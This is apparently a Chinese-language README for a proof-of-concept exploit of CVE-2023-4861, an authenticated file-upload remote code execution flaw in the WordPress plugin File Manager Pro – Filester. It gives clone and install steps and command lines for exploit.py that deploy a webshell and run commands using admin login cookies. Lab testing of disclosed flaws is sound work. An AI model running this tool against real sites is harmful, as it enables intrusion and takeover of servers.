
自动化的概念验证,用于通过任意文件上传在 WordPress File Manager Pro(Filester)中实现经过身份验证的远程代码执行,包括 WebShell 部署和命令执行。
本仓库包含针对 CVE-2023-4861 的 Python 概念验证(PoC),该漏洞是 WordPress 插件 File Manager Pro - Filester 中的一个经过身份验证的远程代码执行问题。
CVE-2023-4861File Manager Pro - Filester(filester)< 1.8.11.8.1Admin+ 权限exploit.py 自动化实现了公开公告中描述的相同基本结果:
/var/www/html/.php重要实现细节:我的 PoC 假设目标 Web 根目录为 /var/www/html/。该路径已硬编码在请求数据中,可能需要针对其他实验环境进行调整。
克隆仓库并进入目录:
git clone https://github.com/nomaisthere/CVE-2023-4861-PoC.git
cd CVE-2023-4861-PoC
安装依赖:
pip install requests
显示帮助信息:
python3 exploit.py --help
基本示例:
python3 exploit.py --url http://target-wordpress --command id \
--cookie 'wordpress_logged_in_xxx=...; wordpress_sec_xxx=...'
可选的自定义 Shell 名称:
python3 exploit.py --url http://target-wordpress --shell-name shell.php --command whoami \
--cookie 'wordpress_logged_in_xxx=...; wordpress_sec_xxx=...'